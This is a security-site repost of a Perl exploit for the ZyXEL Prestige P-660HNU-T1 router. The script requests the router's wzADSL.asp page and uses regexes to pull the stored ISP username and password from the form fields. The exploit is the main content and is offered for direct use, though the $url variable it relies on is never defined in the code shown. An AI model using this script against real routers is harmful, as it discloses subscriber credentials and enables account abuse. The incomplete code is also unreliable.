首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
ZyXEL Prestig P-660HNU-T1 ISP Credentials Disclosure Exploit
来源:vfocus.net 作者:Magof 发布时间:2014-09-25  
#!/usr/bin/perl
# Exploit Author: Sebastián Magof
# Hardware: ZyXEL Prestig P-660HNU-T1
# Vulnerable file: wzADSL.asp
# Bug: ISP usr+pwd disclosure
# Type: Local
# Date: 22/09/2014
# Vendor Homepage: http://www.zyxel.com/
# Version: 2.00(AAIJ.1)
# Tested on: Linux Fedora 20/Windows 7
# (\/)
# (**) Alpha (:
#(")(")
#usage:perl exploit.pl
use LWP::UserAgent;
use HTTP::Request;
#begin
print "\n\n************************************************************\n";
print "* ZyXEL Prestig MODELO P-660HNU-T1v2 local ISP usr+pwd     *\n";#default gateway 192.168.1.1 (Arnet Telecom ISP Argentina)
print "************************************************************\n\n";#in oher country modify $url line 25
   
    
#isp pwd disclosure file
     
    
#UserAgent
my $ua = LWP::UserAgent->new();
$ua->agent("Mozilla/5.0");
     
    
#Request.
my $req = HTTP::Request->new(GET => $url);
my $request = $ua->request($req);
my $content = $request->content(); #content
my ($usr) = $content =~ m/name="wan_UserName" size="30" maxlength="128" value="(.+)" >/;
my ($pwd) = $content =~ m/name="wan_Password" size="30" maxlength="128" value="(.+)">/;
#ISP usr+pwd Arnet Telecom Argentina;
print "User: $usr\n";
print "Password: $pwd\n\n";
exit(0);
  
__EOF__

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·WS10 Data Server SCADA Exploit
·EMC AlphaStor Device Manager O
·xcode-select 13.4.0 Buffer Ove
·Advantech WebAccess dvs.ocx Ge
·Fast Image Resizer 098 - Local
·Bash Code Injection Proof Of C
·Joomla Face Gallery 1.0 Multip
·Bash Environment Variable Comm
·Joomla Mac Gallery <= 1.5 Arbi
·GetSimpleCMS PHP File Upload
·GNU bash Environment Variable
·Seafile-server <= 3.1.5 - Remo
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved